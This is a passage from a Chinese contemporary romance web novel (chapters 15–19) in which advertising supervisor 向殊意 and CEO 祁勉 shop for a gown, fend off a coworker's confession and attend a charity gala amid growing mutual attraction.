对面又许久没回话,向殊意一头雾水时,祁勉发来新的一条。
向殊意凑上前看。
【你信不信,我能隔空变魔术?】
魔术?
她觉得稀奇,饶有兴趣地回:【说说看?】
“对方正在输入”的字样在聊天框顶部闪烁,向殊意紧紧盯着。
六个字消失的瞬间,“哥哥”的备注弹了出来。
向殊意这时候才发现,自己那天光顾着坐车,又一次忘记改掉这个备注。
也就是说,她顶着这么个不明不白的备注,和祁勉,聊了这么久的天?!
向殊意的耳尖可疑地发烫,来不及去确认,新的信息便弹了出来:
【我可以让你们一分钟之内下班。】
还有这种好事?
向殊意短暂来劲了一秒,很快又瘫了下去。
油嘴滑舌的男人。
真有这种魔力就好了。
向殊意懒懒地打字,一句“怎么可能”还没完全敲出来,身后会议室的大门突然被敲响。
讲话的领导住了嘴,会议室乌泱一片昏昏欲睡的员工纷纷抬起头,目光往门口投射过去。
门被推开一个小口,是位秘书。
他从门缝里走进来,凑近大领导的耳边,声音放低,却在一片寂静的会议室里听得明晰:
“启元集团的祁总突然莅临,说要见您。”
刚刚还安安静静的办公室瞬间变得有些闹哄,向殊意余光中看见刚在和她互动的那位负责人甚至双手握拳,小小地做了个欢呼的姿势。
耳边变得嘈杂,一众领导们交头接耳了一阵,起身走出会议室,包总跟在人群后回头:“突发情况,今天的会议就开到这里。”
这次欢呼声音更大了。
向殊意有些怔愣地跟着站起来目送领导离开,又直直坐下。耳边传来几个主管的窃窃私语,聊天页面弹出一条:
【你加班换我加班。又欠我人情。】
过了几秒,又弹出两个字。
【等我。】
16. 成狗了吗
向殊意从会议室走出来时,外面天已经成了一片深蓝色。
工位上除了被迫留下来加班的,基本上都下班了。
向殊意肩上挎着小包,电梯直达负一楼地下停车场,阴森森的还有点冷。
她捧着手臂上下搓搓,才想起自己忘记了祁勉的车牌。
向殊意晃了一圈,没看见熟悉的车型,低头给祁勉发信息:【你车停在哪儿呢?】
祁勉秒回:【28号位。】
向殊意扬起眉梢:【你不是在见我们领导?怎么还秒回。】
【他废话太多。】
【我学你摸鱼。】
隔着屏幕,都能看出他那点儿并不自愿加班的哀怨。向殊意没忍住笑出声,笑声在空荡黑暗的地下车库里竟然碰撞出回音。
她反应过来,默默捂住嘴。
手机在手心里震动,祁勉又发了一句:【没带司机,去电梯间等,别冻着。】
向殊意不知不觉翘起唇角,高跟鞋往后小小挪动几步,转身准备往回退,险些撞进一个男人的胸膛。
向殊意吓得心脏病都快出来了,赶紧低头连声说抱歉。
没等来一句“没关系”,却等来一声轻笑。
气息铺洒下来,钻进她耳朵里,痒丝丝的,心里也痒丝丝的。
心脏再次躁动起来,比刚刚在会议室里看见聊天框里弹出的那句“等我”时,频率更加剧烈。
向殊意抬起头。
地下停车场的灯光并不那么明亮,头顶吊灯寿命告急,甚至开始忽明忽暗。
微弱灯光有一下没一下地打在祁勉额头上,眉骨上,冷白灯光透过他的发丝显现出来。
“轰隆”一声。
向殊意脑子里突然一片空白,一句话也说不出来。
直到祁勉带了点笑意的声音传来:“看呆了?”
向殊意回过神,立刻往后大退一步。
祁勉微眯着眼任她退后,却始终盯着她以防摔倒。
向殊意磕磕巴巴:“你你你刚刚不是说你还在开会?”
祁勉双手插兜,懒懒站在那儿。闻言轻耸肩膀,神色随意:“不耐烦听,跑路了。不明显么?”
向殊意忍不住想象了一下大领导发表感言到唾沫横飞时,祁勉冷着一张脸站起来,像尊不好惹的大佛,“不好意思,今天的废话我就听到这里。”
她被自己的脑补给逗乐了,没忍住弯唇看向他。
视线相触的瞬间,祁勉立刻扭头躲开,随手揉了下耳垂,望向电梯闪烁着的楼层红字。
“我刚刚……”
向殊意刚起了个话头,脸上笑意还没散,便感觉祁勉用了些力气将她拽走。
眼前一瞬间天旋地转,仅存的一点儿灯光都消失了,取而代之的是一片黑暗,空气中浓厚的粉尘味,以及面前男人“砰砰”的心跳声音。
黑暗中,她无声地睁大了眼睛,才发觉她莫名被他拽进了无人的空荡的楼梯间。
向殊意抬头想问个明白,嘴上却突然覆上来一只宽大而温热的手。
“嘘,”祁勉压低声音,“有人来了。”
向殊意心脏也跟着往下沉,几秒过后,果然听见老化电梯门缓缓打开的吱呀声响,紧随其后的是熟悉的谈话声音。
“您说启元那祁总今天突然赶来,又匆匆离开,是有什么特殊用意?”
这是包总的声音。
向殊意眨眨眼睛,看向祁勉。
包总那大喇叭,指不定能说出什么损话。
他肯定想不到,他和大领导蛐蛐的核心对象,此刻正躲在距离他们不到一米的楼梯间里。
向殊意只能默默祈祷,两位领导能嘴下留情,千万别说些太过分的。
馥郁的香气透过她发丝,一股一股往上涌。向殊意几乎整个人贴在他身上,身前柔软不可避免地碰上他胸膛。祁勉不动声色地垂眸,看见始作俑者毫无察觉,紧闭双眼。
手心里是湿热的触感,温度透过肌肤传递到他手心。
有点痒。
祁勉艰难地将视线移开,下一秒便听见外面清晰的谈话声:“老包,你怕什么!一介小辈而已,不足为惧。不过是……”
谈话声音逐渐远去,直到完全听不见。
向殊意悬着的心终于死了,连带着紧绷的肩头也松懈下来。
她现在觉得自己像个人质,被地方老大胁迫。分明是领导嘴痒犯的错,还得要她来说好话背锅。
有没有人在意一下,她还在和祁勉谈生意啊!
“那什么……”为了来之不易的合作不黄,向殊意努力组织好挽救话术,抬头看向祁勉,“其实吧,每个人都是独立的个体,领导的观念并不代表我个人的观念……”
祁勉闻言偏过脸,好整以暇地看她:“那你说说,你什么观念?”
表忠心的时候来了。
向殊意眼神坚定,像个泥腿子:“祁总,你放心,我一直觉得你是个能力很强的领导。又亲民,又有想法,一定能够带领启元走向新的辉煌!”
说完她小声嘟囔一句:“虽然脾气不咋地、说话爱打哑谜以外,其他都还可以……”
祁勉拖声拖气:“没偷着骂我吧?”
向殊意疯狂摆手:“绝对没!”
祁勉没再多说什么,松开她,才发现自己手心已经捂出细汗。
他双手垂在身侧,手指悄悄捻了几下,声音不太自然:“没人了,走吧。”
向殊意亦步亦趋跟在他身后,伸手抚抚胸口,没注意到面前男人已经红成一片的耳廓。
在地下停车场耽搁了一会儿时间,到达目的地下车时,外面的天已经黑了。
天上无声无息下了细雨,在路灯光线下细密如丝,缓缓落下。
店里员工远远便看见他们靠近,急忙小跑过来为他们开门。
店里环境很贵气,空气中飘荡着淡淡的香味。音响里悠悠流出流水一般的钢琴曲,暖气扑面而来。
祁勉走进店门拍拍肩头的雨珠,极其自然地伸手,帮她脱下身上的厚重外套。
向殊意没感觉到不对,顺着他动作脱下,又看着他将他和她的外套叠在一起,递给一旁候着的店员。
已经开始看礼服时,她才反应过来,他们刚刚的动作自然到多么离谱。
可祁勉看上去好像毫无察觉。向殊意不想显露出她不太自然的神色和想法,只好也装得云淡风轻。
向殊意挑得眼花缭乱,祁勉更是一进门直接成哑巴,和她隔着半米的距离,跟在她身后,看上去还真像给她充足的选择自由。
向殊意逛了一圈,扶着沉重的脑袋转头看向身后的男人。
祁勉立刻离她近了些,微微弓身,声音慵懒而低:“没见着喜欢的?”
不知是因为窗外细密
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的雨,还是因为店里舒缓浪漫的音乐。
抑或是因为,两人突然拉近的距离。
向殊意总觉得,今天的祁勉说话声音好像格外温柔,也格外缱绻。
向殊意睫毛微颤,悄悄往后退了一小步,轻声说:“不是,太多了,选不出来。”
祁勉盯了她一会儿,直到她感觉自己体温开始直线上升,才直起身问一旁离得远远的店员:“现在定制的话,明晚之前能出么?”
店员神色为难:“祁总,这个真的有点赶,出不来的。”
眼看祁勉好像又要问些什么,向殊意赶紧往前走了一步,手搭上他手臂,将他往后拉,“不用定制!就让她们帮忙挑几件我能穿进去的就行。”
祁勉缓缓回头,动作有些僵硬,视线若有似无地落在她碰上他手臂的手上。
向殊意跟着垂头,看见他视线所在,猛地把手缩回去,垂头没敢再看他。
店员为她量了尺寸,挑了几件礼服摆出来供她挑选。范围瞬间缩小,向殊意好选多了。
她挑了件鱼尾连衣长裙,珍珠白色。店员帮她试穿,祁勉坐在外面等。
向殊意非常庆幸自己最近吃的不多,否则这个腰她真的塞不进去。
平常上班基本上是随机生成恶心穿搭,是因为经常需要跑广告,她才会正儿八经配一套西装外套,只不过也是黑白灰三件轮流往身上披。
她从前跟着梅主管去过晚宴,也穿过礼服裙,但还没穿过这么贵的高定。
裙子看上去简简单单,其中设计却繁琐又复杂。向殊意在店员的帮助下艰难穿上,隐隐发现自己胸前灌凉风。一低头,才发现领口是低v领。
试衣间里有一整面落地镜。向殊意在店员的小声惊叹和夸赞中,不太好意思地望向镜子。
镜中女人面若桃花,莹润的肩头、细细的手臂、平直的锁骨,还有胸前若隐若现的沟壑,都大片暴露在空气中。
向殊意脖颈修长,皮肤白皙,脸上因为店内暖气透出自然的桃红。她红唇微张,和肩头落下的黑色大波浪形成鲜明的色彩对比。
她望着镜子里漂亮得像颗珍珠的自己。
突然,很想看看祁勉的反应。
向殊意转身掀开帘子,祁勉双腿交叠,坐在正对着试衣间外的沙发上接电话。
一袭白裙的向殊意毫无预告地出现在眼前,祁勉整个人完完全全怔在沙发上。
向殊意后知后觉有点儿害羞,赶紧伸手捂住胸口,示意他先接电话。
可祁勉偏过头对电话低声说了句“再说”,便挂断了,把手机放进口袋里。
向殊意手臂贴着靠近心脏的位置,感受到其中难以抑制的紧张与雀跃。
祁勉站起身来,领口前系着的黑色领带早就被他扯松了些,不再那么规整。
他一步一步,沉稳地走到她面前停下。
“这件,还喜欢吗?”
沙哑的声音从头顶传来,向殊意头皮发麻。
“喜欢。”
她抬起头,和他对上视线,故作轻松以掩饰紧张颤抖的尾音,说:“漂亮吗?”
祁勉双手揣在兜里,看上去一身生人勿近的防御姿态,开口时,声线里却溺着,她从未见到过的无限柔情:
“很漂亮。”
像是意识到话有歧义,他垂眸看她,又补了一句:
“……没说裙子。”
17. 成狗了吗
祁勉说完这句话,感觉耳垂立刻热了。
他不太自在地抬手碰了下,说:“我去买单。”
向殊意回过神来,赶紧出言制止:“以后又不会常穿,没必要买吧?租就可以。”
她再次无意识地把手搭上他小臂,隔着西装外套都能感觉到她手心的温度一般。
祁勉恍惚间瞥见她颈部连着胸前一片雪白,完全不敢低头看她,“又不是买不起。”
向殊意有些不好意思:“要不然……算你借给我的,等我以后有能力再还你?”
祁勉说:“你能不能给我留点面子?”
向殊意一头雾水:“啊?”
他朝不远处站着等待的店员抬起下颌,“堂堂一个集团总裁,给女伴买裙子还用租,还要你分期还我?传出去不得被笑死?”
向殊意脑补了一下他被外界传成抠门男的样子,听见祁勉说:“我现在要去买单。”
向殊意只好同意,“那……那你还是去吧……”
可祁勉这话说完了半天,仍然站在原地一动不动。向殊意余光看见他没动作,以为他反悔了,想着给他个台阶下,于是抬头笑:“要不然,还是我先欠着再……”
“所以,你能不能先把我松开?”
向殊意构思了半天的话猛地中断在嘴边,低头,看见他们又一次莫名其妙搭在一起的手。
向殊意瞪大眼睛,赶紧把手抽了回来。
他的胳膊和她的手掌,是不是有什么磁铁?!
怎么总一不留神就挽在一起了!
向殊意把头埋得低低的,余光中见祁勉已经转身往前台去,心不在焉地回试衣间把礼服换下来。
再走出来的时候,祁勉已经好披了衣服在门口候着,臂弯里搭着她的外套,手里拎着个精致的包装盒。
向殊意走上前,祁勉把装礼服的包装盒放在前台桌面,又展开她的外套,示意她来穿。
她脑袋里警铃大作,偷偷瞄他,可祁勉的神情看上去没有一点觉得不妥当的地方。
可能,帮同行女生整理衣物,是他家教里绅士的表现?
送她回去的路上,他们再没说什么话。
车子停在向殊意家楼下,祁勉开口:“到了。”
向殊意勉强从纷乱的思绪中抬起头,胡乱应了句:“啊,好,谢谢。”
推开门,一只脚刚刚踏出车门,主驾便传来祁勉有些无奈的声音:“殊意。”
向殊意完全没注意到他第一次没有连名带姓地喊她,有些僵硬地回头:“嗯?”
祁勉握在方向盘上的手指抬起来敲敲,看向副驾脚前的礼服包装手提袋,“东西不要了,留着给我穿?”
向殊意微微启唇,上前提起来,想着又抿起唇笑:“你要是想穿,我也不会舍不得的。”
“少来,”祁勉勾唇,“明天别忘了带,老地方接你。”
向殊意点点头,提着包装准备关门,祁勉再次喊住了她:“向殊意。”
她笑靥如花,眼睛都眯了起来,晃晃手中的袋子,问:“你还是想穿?”
祁勉这次真的被她逗乐了,偏头笑了好一会儿,向殊意一只手握着门把手,站在绵绵细雨中,也跟着他傻笑。
祁勉渐渐平静下来,只有眼睛里还含着笑意。
他说:“晚安。”
向殊意扬起的嘴角也缓缓放平了,在一片朦胧与水雾中,看着他被月光包裹着的双眼。
一颗雨珠直直落下来,砸在车引擎盖上,四方飞溅,传出一声“嘀嗒”。
向殊意感觉,心脏里好像有什么东西,跟着这颗雨芽一起生长出来。
她突然不舍得移开眼睛,却还是弯起唇角,轻声说:“晚安啊。”
车门被关上,力气用得太大,甩起来一片水花,溅到她脚踝上一阵冰凉。
向殊意走进楼栋内,刻意放慢放轻了脚步,用比平常长了两倍的时间回到家里。
匆忙把手提袋随手放在玄关柜子上,又甩掉了高跟鞋。她第一时间摁开灯,拉开客厅的窗帘。
楼下祁勉的黑车在她凑到窗前的那一刻,启动缓缓离开。
向殊意就这么在窗前傻站着,直到脚底传来一阵冰凉,才关上窗户,拉上窗帘,回去穿鞋子。
一定是班上多了,出现了一些疑似心悸的症状。
不然向殊意找不到自己一直浑身发热、心跳狂响的原因。
且这种症状衍生出常常走神的新症状,非常危险地维系到了第二天上班。
“……你觉得呢向主管?”
“主管?”
“嗯?”向殊意回过神来,才发觉自己嘴角已经非常诡异地扬了起来,团队的十几道目光直直汇聚到她身上,无一不带着探究的神色。
其中以孙之颖为最突出。
她面露担忧:“姐,你是不是最近太累了?感觉你今天不怎么在状态呢。”
向殊意赶紧摆手:“没没没,没有的事儿。”
她抬头望了眼PPT,刚刚走神时溜进大脑里里的只言片语重新浮现出来。她翻了下文件,正色说了些意见参考。
组员们纷纷点头埋头记笔记。
会议刚解散,孙之颖便凑了上来:“姐,你实话实说,是不是为了祁总心不在焉呢?”
向殊意猛地抬头,想都没想脱口而出:“你怎么知道?”
话一出口,她才意识到自己反应太过激烈,紧张兮兮地盯着她下一句。
孙之颖叹了口气,出言安慰:“没事的,都这样,还有机会。”
向殊意见她这么心安理得就接受了她和祁勉私下的关系,反而稍稍放下心来,问:“你……有经验?”
孙之颖有些奇怪,但还是说:“有啊,以前不是经常遇到这种情况么。姐你资历比我高,难道不比我遇到的更多?”
向殊意眨眨眼睛:“啊,虽然我长得确实还可以,但是这回也是第一次……”
她捏了下手指,补充:“也不一定就比你经验多到哪儿去。”
孙之颖哈哈大笑,伸手拍她肩膀:“姐,你真的谦虚过头了,我才入职多久啊,什么都不懂,怎么可能有你经验丰富?”
向殊意手上动作顿住,迟疑道:“你说的经验是……”
“磨方案和磨客户的工作经验呀!”孙之颖大剌剌说,“姐,我入职之前就老听说你为了拿下广告所做的丰功伟绩了,我入职之前还想,要是能和你一样……”
孙之颖后面说的什么话,她已经完全听不进去了。
向殊意长久地闭了闭眼,尴尬地想遁地而逃。
她果然应该休息休息了吧……
下午下班前,祁勉再次发信息提醒她换衣服。
那个熟悉的头像再次蹦出来时,向
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殊意好不容易好了一点的“心悸”又复发了一秒钟,才字斟句酌地回复了句好。
下班时间一到,向殊意便钻进隔间提前把衣服换好,披了件外套,提着裙子背上包坐上去往负一楼的电梯。
她跟好几个刚下班的同事打了招呼,脑子里只想他们看不见自己,好让她安安全全不被看见地坐进祁勉的车子里。
可天有不测风云,她刚随着人流出了电梯,一旁的另一个电梯几乎同时开门,随后便听见身后传来一声惊喜的叫唤:
“欸,向主管!”
向殊意默默叹了口气。
想安安静静默默无闻地坐上祁勉的车怎么这么难。
她还是停下脚步转身,笑道:“林主管,好久不见啊。”
林主管与向殊意年龄相仿,是和向殊意同时进公司的同事。
他抿唇笑:“是啊,可惜你每天跑广告,公司里也不常见到你。欸,你不是还没买车吗?怎么会在地下车库见到你?”
向殊意脑子立刻开始飞速旋转,最后还是模棱两可地说:“有点事儿要办,等人接我呢。”
她本以为他看见自己这样的态度,会礼貌地不再追问。可林主管嘴边笑容一僵,“等人?你不会是在等……”
他话没说完,向殊意低头看向手机。
“不好意思啊,给我打电话了。”向殊意面带歉意地笑笑,接通了电话放在耳边。
“人呢,又在开会?”
祁勉低沉而磁性的话音传进她耳朵里,立刻激起耳廓和侧脸一片酥麻。
地库空旷,任何细小的声音传进来都会被无限放大,因此也传进在不远处站着的林主管耳朵里。
他的嘴角缓缓放平了,有些苦涩地看着她。
从一开始和向殊意同时进公司实习,向殊意就在点点滴滴中常常帮助他。
他不是不知道,向殊意从头到尾都对他没有除了同事情以外的其他情愫,可他就是不知不觉在相处过程中喜欢上了她。
如今看着她越做越好,终于艰难坐到广告部主管的位置,她越来越忙,为了拉广告也不常常在公司待,他们也逐渐成了点头之交。
林主管受不了这样的落差感。
如今好不容易在停车场再次遇见她,却听见她手机里传来其他男人的声音。
想到这里,他只想亲自确认这男声的身份,再也顾不上别的,开口问:“殊意,你在和谁打电话?”
向殊意闻言一愣,手机里祁勉的声音也戛然而止。
什么情况?
她张了张嘴想说点什么,便听见手机里,祁勉突然嗤笑一声。
“搞了半天,原来在和小男生约会。”
向殊意猛地睁大眼睛,一时不知道该先回复谁。
“不是,我……”
“殊意,”林主管突然开口打断了她,面露苦涩,“我知道我没有资格干扰你的私人生活,但我怎么也没想到,你会突然间就……殊意,我……我……”
林主管紧紧盯着她,突然浑身泄气:“其实我一直不敢说,我……我喜欢你很久了!从实习期开始,我就一直在默默喜欢你。我本来想把这件事压在心里,或许今天也不是一个好时机,但我……”
“哟。”
向殊意脑袋彻底爆炸之前,听见手机里祁勉懒洋洋的调侃声音:
“还表白呢?”
18. 成狗了吗
一个在手机里发送实时弹幕一般接连评价,一个莫名其妙涨红了脸在对面对她倾情表白。
两个男的各说各的,只剩下向殊意一个人站在原地凌乱。
林主管还在滔滔不绝表达各种她完全没有一丁点印象的小事,多到她都要合理怀疑这是不是她在梦游的时候做的。
不然怎么能一点印象都没?
向殊意握着手机的手指微微收紧,思考该用个什么借口拒绝一下他时,耳边突然传来低低的话音:“要迟到了。”
向殊意眼前一亮。
有了第一次就有第二次,第二次再来便有了充足经验。
于是向殊意深吸一口气,开口打断:“林主管。”
对方立刻终止了话音,小心翼翼看着她。
向殊意眼睫轻颤,还是下定决心把手机从耳边拿下来,把屏幕面向他,说:“我有男朋友了。”
她面不改色地扯:“他在车位等我。谢谢你的喜欢,但我还是没办法……”
林主管已经石化在原地。
他不可置信地看着她手机上的备注,嗫嚅道:“……哥哥?”
什么玩意儿?!
向殊意浑身都凉了一瞬,猛地把手机转向自己。
当年一定是有人逼迫了她。
这么亲密又羞耻的俩字,备注在好友昵称也就算了,怎么连电话也有?
她第一时间把手机收回来,匆忙在屏幕上一顿乱按挂断,只能寄希望于手机对面的祁勉没听见。
“你应该能懂吧,哥哥就是一种……情侣之间的亲密称呼……”
“抱歉,我欠考虑了。”林主管心死了,垂头丧气地和她擦肩离开。
她缓了口气,找到车位上祁勉停在那儿的车。
这回他带了司机。向殊意一想,这人指定坐在后座。为了避免尴尬,她当即决定坐副驾。
可她绕到副驾车门外,发现车门上锁了拉不开。车窗缓缓往下,司机把头伸过来客气地说:“向小姐,祁总让您坐后排。”
向殊意扯扯唇角,望向后排,车门已经缓缓自动打开了。
她只好妥协坐进去。
祁勉双腿交叠,闻声望向门外。刚开口准备调侃,向殊意立刻飞快地说了一串:“祁总快迟到了快走吧再不走迟到了不好还是别说闲话了。”
祁勉扬起眉,看见她手掌平铺在膝盖上,腰背挺得笔直,头发被挽成丸子头,几缕发丝溜了出来,贴在雪白的脖颈皮肤上。
他缓缓点头,声音含笑:“行。”
车子驶了一阵,祁勉转头看了眼她的脚,说:“你的鞋……”
“很抱歉又欠你一个人情。”
祁勉哽了下:“?”
向殊意反应过来他不是在说刚刚电话里的事,有些尴尬地说:“没什么,你原本想说什么来着?”
祁勉开始闷闷地笑,并且还大有停不下来的趋势。
向殊意被他笑得耳朵泛红,不自在地伸手挠了下,“别笑了。”
她故意加重了话音,在祁勉听来却没有一丝威胁,可他还是非常听话地停了下来,清清嗓子:“就是问你,有没有准备鞋?”
向殊意低头看了眼鞋,“……这个不行吗?”
祁勉一副“我就知道”的样子,一面弓身拿起地上放着准备的鞋盒,一面瞥了眼她穿着的高跟:“这么高,一晚上下来脚腕别折了,到时候找我讹医药费。”
他替她把鞋盒打开,小心翼翼托起里面那双鞋,稳稳放在她脚前。
鞋子是双矮根,颜色是珍珠白,和她怀中抱着的礼服一模一样。被托在他宽大的手心里,像一双白色小船。
向殊意弓身脱鞋,脸颊的软肉蹭上膝盖被推得鼓起来,像只藏了食物在里头的松鼠。祁勉的视线不知不觉便落在她的脸上。
“尺码正好欸,”她抬头,面带惊喜:“你怎么知道……”
话音一顿。她蓦然撞进祁勉来不及收回的目光里。
那目光里带了些专注,又藏了些温柔和缱绻,让人只看一眼,都觉得快要深溺其中。
祁勉反应过来,眼神闪烁着强装镇定:
“因为我还记得。”
记得。
向殊意看着他的眼,突然发觉,他真的还记得很多很多东西。
记得她不爱吃洋葱,记得她月经日期,记得她最常用的那串密码,记得她鞋子穿什么码数。
每说一个“我记得”,都在反反复复提及,他们那过去很久、却无法忘记的曾经。
祁勉已经直起身,靠回座椅靠背。车子正好在这时候停下,司机回过头恭恭敬敬地说:“祁总,到了。”
祁勉“嗯”了声,转头问她:“穿好了?”
向殊意收回那些回忆,连忙点头:“好了。”
车门自动打开,她伸手把外套从肩头褪下,转身走出去。下了车,祁勉跟在她身后,弯腰替她整理裙摆,顺便腾出手抻了抻西装下摆。
慈善晚宴定在酒店一层的巨大活动厅中。
祁勉拿出邀请函给迎宾小哥,向殊意随意往大厅里瞟了一眼,一下子望见了几个眼熟的面孔。
都是些平日里神神秘秘、难得一见的大人物。
向殊意捏紧了手包,里面装着一叠名片,已经准备今晚要大展身手。
祁勉登记完成,走到她身边。看见她用力到有些发白的指尖,上前轻声问:“紧张?”
“嗯?”向殊意收回视线,“没有没有。”
祁勉只当她在嘴硬,某种保护欲和责任感瞬间上身。他把手臂往她面前一放:“挽着吧。”
向殊意望了他一眼,又抬头环视一圈,最后抬起手,轻轻环住他的手臂。雪白的小臂和纯黑色西装面料叠在一起,色彩对比鲜明。
祁勉尽量放低了声线,让声音听起来温和而低:“你要是担心应付不来,一直跟着我就行。”
他带着些许私心说完这话,状若无事地瞄了她一眼,却发现她正扬着头望他。
她脸上妆容清淡,睫毛浓密而卷翘,鼻头和眼角在闪闪发光,他向来看不懂也不了解这化妆品的学名叫什么,只觉得这点儿点缀,让她整个人变得像一颗晶莹剔透的白珍珠。
祁勉听见心脏异样地跳动,匆忙移开了视线。
他这么体贴又周到,向殊意觉得感动或是别的,也实属应该。
这么一想,他忍不住在她看不见的视角中悄悄扬起唇角。
“祁勉……”
果然来了。
祁勉胜券在握,忽然很好奇她会说些什么感谢的话。刚要转头,便听见身边的女人迟疑地问:
“你感冒了?”
祁勉头顶
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缓缓冒出一个问号来。他转过头,看见向殊意眼里充斥着真心实意的疑惑,“你声音怎么突然这么哑,像鸭子似的。”
祁勉:“……”
“抱歉啊,”向殊意见他一脸无语的表情,反应过来赶紧捂住嘴,声音嗡嗡地从手掌中传出来,“我说的不是那个鸭子。”
祁勉的嘴角彻底放平。
有时候他真的挺想拆开向殊意的脑子,认真看看其中构造,搞清楚她的那点儿精明劲,是不是在工作交际的场合给耗光了,又或者……
只是对他才会没心没肺。
想通了这一点,祁勉突然神清气爽起来。
他再次弯起唇,抬脚往宴会厅里走。
向殊意的臂弯还挽着他,只能跟上他一起走。她抬头望着他的侧脸线条,满腹疑惑。
这哥们没事吧。
一会儿冷脸一会儿笑。
走进宴会厅,向殊意立刻便恢复一副得体而优雅的样子,微笑着望向四周,刚刚的腹诽也停了下来。
宴会还没正式开始,各个大佬们都在四处走动交际着积攒人脉。
向殊意远远望见业内著名的大佬王总,赶紧伸手悄悄拍了拍祁勉的手臂,压低声音说:“你能不能去王总那儿social一下?”
宴会音乐放得大声,祁勉没听清。他自然地弓下腰,耳朵凑近了向殊意的嘴唇,“什么?”
一身木质香气笼罩下来,话音低低沉沉,落在耳朵里激起一身微颤。
他的耳朵,距离她的嘴唇只剩几厘米的距离。
向殊意微张着唇,脑袋里突然空白起来,脸颊开始上了些温度。
偏偏面前的男人对她的状态毫无意识,等了一会儿没听见动静,偏头过来,微微蹙起眉尖,眯起眼睛怀疑自己听错:“你刚说话了没。”
向殊意眼神飘忽,声音里的底气没了一半:“我说,你能不能,带我去那个王总那里,说两句话……”
话音刚落,她看见祁勉眉间一松。
他直起身子,居高临下盯着她,语气不太爽:“搞了半天,又在跟我说别的男人?”
向殊意隐隐觉得这语气和话音都有点不太对劲,却不知道具体不对在哪儿。
她眨眨眼睛,勉强找回些底气:“不是你昨天说的今晚带我来结交人脉?不然我才不……”
祁勉嗤笑了声:“那也是你的人脉们主动来找我,你搞错顺序了。”
她刚要说些什么,余光中看见王总竟然往这边走了过来。
向殊意立刻恢复端庄,挽上祁勉的手臂,扬起标准微笑。
祁勉凉凉瞟她,手臂上立刻被她轻轻抓紧。
他心底冷笑一声,眉眼压着,看向不远处走过来的王总。
“祁总,早就久仰大名,今天得以一见,果然是气度非凡!”王总笑着朝他伸出手掌。
祁勉不看他,却偏过头来瞥她。
向殊意朝他明媚地笑笑,赶紧松开手。
祁勉这才将视线缓缓挪到面前王总伸出来的手掌中,伸手握住,低声吐出两个字:“久仰。”
王总收回手,抹了抹额头上并不存在的汗,将自己祖宗十八代都给想了一遍,也没想出来自己哪儿有得罪过这位大佛。
不然怎么总觉得,大佛望向他的眼神中带了些……
杀气?
19. 成狗了吗
祁勉嘴上说着是一回事,可和王总握完手,倒真的后退了一步,把社交舞台让给了向殊意,自己则站在一旁,听另一位上前来结识的老总恭维。
商人场上,说话惯是些有用没用的恭维,祁勉听着不耐烦,于是频频偏过头去瞥向殊意那边的情况。
她笑得很开怀,耳垂上坠着的珍珠耳环随着动作微微摇晃,晃人眼睛。
向殊意已经完全进入状态,聊着聊着还会从人群中传出令人烦躁的轻笑。
身边凑上来的臭男人一批又一批。祁勉干脆演都不演了,单手插兜,直勾勾望向身边递名片的女人。
还在孜孜不倦地和他说恭维话的男人犹豫着终止了话头,顺着他的视线望过去,脑袋一转,便嘿嘿笑着套近乎:“祁总,我看这位女士还真是聪慧又玲珑,长得漂亮更是不值一提的优点!您觉得呢?”
祁勉突然回头,面无表情地盯着他。男人瞬间噤声,还以为自己哪里触碰了他逆鳞。
可祁勉只是看了他一会儿,看得他腿都软了,才冷着脸说:“谢谢夸奖。”
“……啊?”
男人还没反应过来,祁勉已经转身往向殊意的方向走去。
“应该的应该的,如果有机会,很希望和您合作,这是我的名片……”
向殊意微笑着递出名片,又和对面的男人双手紧握上下晃了晃。
刚垂下手臂,手腕上立刻被一只大手环住,温热而有些粗粝的触感透过皮肤爬升上来,向殊意吓了一跳。转过身,看见祁勉的脸,又放下心,低声嗔怪:“是你啊。”
祁勉阴沉着的心因为她这句熟捻的话语,又轻轻往上浮了浮,脸却仍然是拉着的。
“我渴了。”
也不说为什么,也不问怎么办,他就拉着她手腕吐出这么一句,然后盯着她,像是在等着看她怎么办的样子。
向殊意有些莫名,迟疑地说:“那你……去拿水?”
祁勉一动不动:“没找到酒水区。”
向殊意往周围张望一圈,朝某个角落扬扬下巴:“这不在那儿呢吗?”
祁勉头都不回,固执地说:“没看着。”
向殊意嘀咕几句,拉着他手臂穿过人群,走到酒水区的长桌前便松了手,努嘴:“喏,拿吧。”
祁勉往满桌的香槟和红酒里望了一眼,转头看她,“我酒精过敏,你忘了?”
“还是说,”他顿了顿,想起什么眼神又暗了下去,语气凉凉的,“你光顾着交际,把我忘干净了。”
硕大一口黑锅迎头扣下来,向殊意当然不认:“少给我扣帽子。你过敏找个服务员让人倒水不就行了?”
一位年轻男服务员正好端着托盘从他们身边走过,向殊意赶紧拦住他:“你好,能不能帮忙拿一杯白水过来?”
年轻男生看着白白净净,和向殊意对视一眼,立马脸红了,有些磕巴着说:“好、好的!这边的白水应该是被拿完了,我现在就去让他们上心的。”
男服务员匆匆忙忙走开了,与祁勉擦肩而过。
目睹了他脸红的全过程,祁勉脸色更臭了。偏偏向殊意毫无察觉,还在笑:“等着吧,一会儿就有水喝了。”
向殊意还在碎碎念着什么,四周明亮的灯光瞬间熄灭,眼前一片漆黑。
在场不少人都被这突然的黑暗吓了一跳,惊叫出声,向殊意也小小地惊呼,往四周张望。
舞台上缓缓亮起几盏灯,主持人走上台,极其亮的灯束打在她身上,也重新将黑暗打破,激昂的开场白随之响起。
灯光重新出现,向殊意抚抚胸脯,小声抱怨:“还以为是灯光故障,原来是舞台设计。”
她才注意到祁勉竟然一声没吭,上前一步感慨:“你好淡定,刚刚突然关灯没被吓到吗?”
祁勉缓缓松开紧攥成一团的桌布,嗤笑一声,声音里那点干涩几乎可以忽略不计:“大惊小怪。”
向殊意“嘁”了声,正好看见有服务生在上水,拉住他走过去捏了一杯递给他,笑得眼睛眯起,像在邀功:“祁勉,水。”
祁勉接过来,端在手心里没说话。
向殊意提议他们去人多的地方一起站着,遭到祁勉否决:“吵。”
向殊意只好作罢,反正酒水区也不算偏僻,站在这儿也能看见台上的情况。
主持人在介绍今天慈善晚宴的流程,筹资的方式以拍卖获得的款项为主。
主办方上台讲话,轰隆的音响声音在耳朵里震动时,向殊意听见头顶男人的声音:“人脉结交得怎么样?”
她反映了一会儿才发觉他在和自己说话,赶紧说:“挺好的,绝对没有辜负你期望!”
向殊意得意地望着他,可祁勉双手插兜,望向舞台,闻言只是扯起唇角:“我可没期望。”
向殊意一时没明白他意思,随口嘀咕:“还好昨天名片准备得多,不然都不够发的。”
祁勉把装着白水的杯子往桌上一搁,发出闷响。
向殊意后知后觉:“你心情不好?”
祁勉冷笑:“没有啊。”
